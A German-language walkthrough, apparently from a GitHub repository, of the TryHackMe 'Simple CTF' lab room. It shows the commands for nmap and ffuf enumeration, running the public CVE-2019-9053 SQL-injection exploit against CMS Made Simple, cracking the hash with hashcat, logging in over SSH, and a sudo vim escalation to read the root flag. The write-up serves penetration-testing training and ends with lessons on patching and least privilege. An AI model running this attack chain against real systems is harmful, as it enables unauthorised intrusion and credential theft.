
Professionelle TryHackMe Simple CTF-Komplettlösung, die Enumeration, CMS Made Simple SQL-Injection (CVE-2019-9053), Wiederherstellung von Anmeldeinformationen, SSH-Zugriff, Privilegieneskalation via Vim und Root-Kompromittierung abdeckt.
Professionelle TryHackMe Simple CTF Lösung, die Enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), Wiederherstellung von Anmeldeinformationen, SSH-Zugriff, Privilegienerweiterung über Vim und Root-Kompromittierung abdeckt.
Eine vollständige Lösung des Simple CTF-Raums auf TryHackMe, die Aufklärung, Enumeration, Ausnutzung, Wiederherstellung von Anmeldeinformationen, Privilegienerweiterung und Flaggenfang abdeckt.
| Feld | Wert |
|---|---|
| Plattform | TryHackMe |
| Raumname | Simple CTF |
| Schwierigkeitsgrad | Einfach |
| Kategorie | Web-Ausnutzung & Linux-Privilegienerweiterung |
| Autor | Saahil Gupta (ImperialX1104) |
Das Ziel dieses Raums ist:
Host Discovery
│
▼
Port Enumeration
│
▼
Directory Enumeration
│
▼
CMS Discovery
│
▼
Version Identification
│
▼
SQL Injection (CVE-2019-9053)
│
▼
Credential Extraction
│
▼
Password Cracking
│
▼
SSH Access
│
▼
User Flag
│
▼
Privilege Escalation
│
▼
Root Flag
Der erste Schritt war die Überprüfung der Konnektivität mit dem Zielsystem.
ping 10.49.175.174
Der Host antwortete erfolgreich, was bestätigte, dass er erreichbar war.

Ein umfassender Nmap-Scan wurde durchgeführt, um exponierte Dienste zu identifizieren.
nmap -A -v 10.49.175.174
| Port | Dienst | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 80 | HTTP | Apache 2.4.18 |
| 2222 | SSH | OpenSSH 7.2p2 |

Das Navigieren zum Ziel-Webserver zeigte die standardmäßige Apache-Landingpage.
http://10.49.175.174

Zu diesem Zeitpunkt war keine offensichtliche Angriffsfläche sichtbar.
Um versteckte Ressourcen zu identifizieren, wurde ein Directory-Brute-Forcing mit FFUF durchgeführt.
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200
simple [Status: 301]

Ein Verzeichnis namens /simple wurde entdeckt.
Das Navigieren zum entdeckten Verzeichnis zeigte eine CMS-Installation.
http://10.49.175.174/simple

CMS Made Simple 2.2.8
Die Versionsnummer sollte sich später als kritisch erweisen.
Die CMS-Version wurde mit SearchSploit untersucht.
searchsploit "CMS Made Simple"
CMS Made Simple < 2.2.10 - SQL Injection

Eine bekannte SQL-Injection-Schwachstelle wurde identifiziert.
Der Exploit wurde lokal zur Analyse und Ausführung kopiert.
searchsploit -m 46635
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

Der öffentlich verfügbare Exploit wurde gegen die Ziel-CMS-Instanz ausgeführt.
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt
Der Exploit extrahierte erfolgreich Informationen aus der Backend-Datenbank.
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

| Element | Wert |
|---|---|
| Benutzername | mitch |
| [email protected] | |
| Salt | 1dac0d92e9fa6bb2 |
Der extrahierte Hash wurde mit Hashcat geknackt.
hashcat -m 20 hash.txt --show
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
| Feld | Wert |
|---|---|
| Benutzername | mitch |
| Passwort | secret |

Die wiederhergestellten Anmeldeinformationen wurden gegen den SSH-Dienst getestet.
ssh [email protected] -p 2222
secret
Welcome to Ubuntu 16.04.6 LTS

Erfolgreiche Authentifizierung gewährte Shell-Zugriff als Benutzer mitch.
Nach dem Zugriff wurde die Benutzer-Flag in Mitchs Home-Verzeichnis gefunden.
whoami
cd ~
cat user.txt
G00d j0b, keep up!

Die Überprüfung der sudo-Berechtigungen ergab eine interessante Konfiguration.
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

Diese Konfiguration erlaubt dem Benutzer, Vim mit root-Privilegien auszuführen, ohne ein Passwort einzugeben.
Vim als root starten:
sudo vim
Da Vim mit erhöhten Privilegien lief, konnte es verwendet werden, um auf Dateien zuzugreifen, die root gehören.

Die Root-Flag befand sich im Verzeichnis des root-Benutzers.
:! cat /root/root.txt
W3ll d0n3. You made it!

G00d j0b, keep up!
W3ll d0n3. You made it!
Nmap Scan
↓
Web Enumeration
↓
Directory Discovery (/simple)
↓
CMS Made Simple 2.2.8
↓
SearchSploit Research
↓
CVE-2019-9053 SQL Injection
↓
Credential Extraction
↓
Hash Cracking
↓
SSH Login (mitch:secret)
↓
User Flag
↓
sudo -l
↓
Vim Privilege Escalation
↓
Root Flag
Das verwundbare CMS war auf der Startseite nicht sichtbar und erforderte eine Verzeichnis-Enumeration, um es zu entdecken.
Die Kenntnis der genauen CMS-Version führte direkt zu einer bekannten Schwachstelle.
Wiederhergestellte Anmeldeinformationen sollten immer gegen alle verfügbaren Dienste getestet werden.
Die erlaubte privilegierte Ausführung von Editoren wie Vim kann zu einer vollständigen Systemkompromittierung führen.
Dieser Raum demonstrierte eine vollständige Angriffskette von der ersten Enumeration bis zur vollständigen Root-Kompromittierung. Durch die Kombination von Webanwendungs-Enumeration, SQL-Injection-Ausnutzung, Passwortknacken und Linux-Privilegienerweiterungstechniken wurde die vollständige Kontrolle über das Zielsystem erreicht.
Der Raum dient als ausgezeichnete Einführung in die reale Penetrationstest-Methodik und unterstreicht die Bedeutung von ordnungsgemäßem Software-Patching, Anmeldeinformationssicherheit und Zugriffskontrollen mit geringsten Privilegien.
Saahil Gupta (ImperialX1104)
⭐ Wenn Ihnen dieser Lösungsweg nützlich erschien, erwägen Sie, das Repository zu markieren und sich mit mir auf GitHub zu verbinden.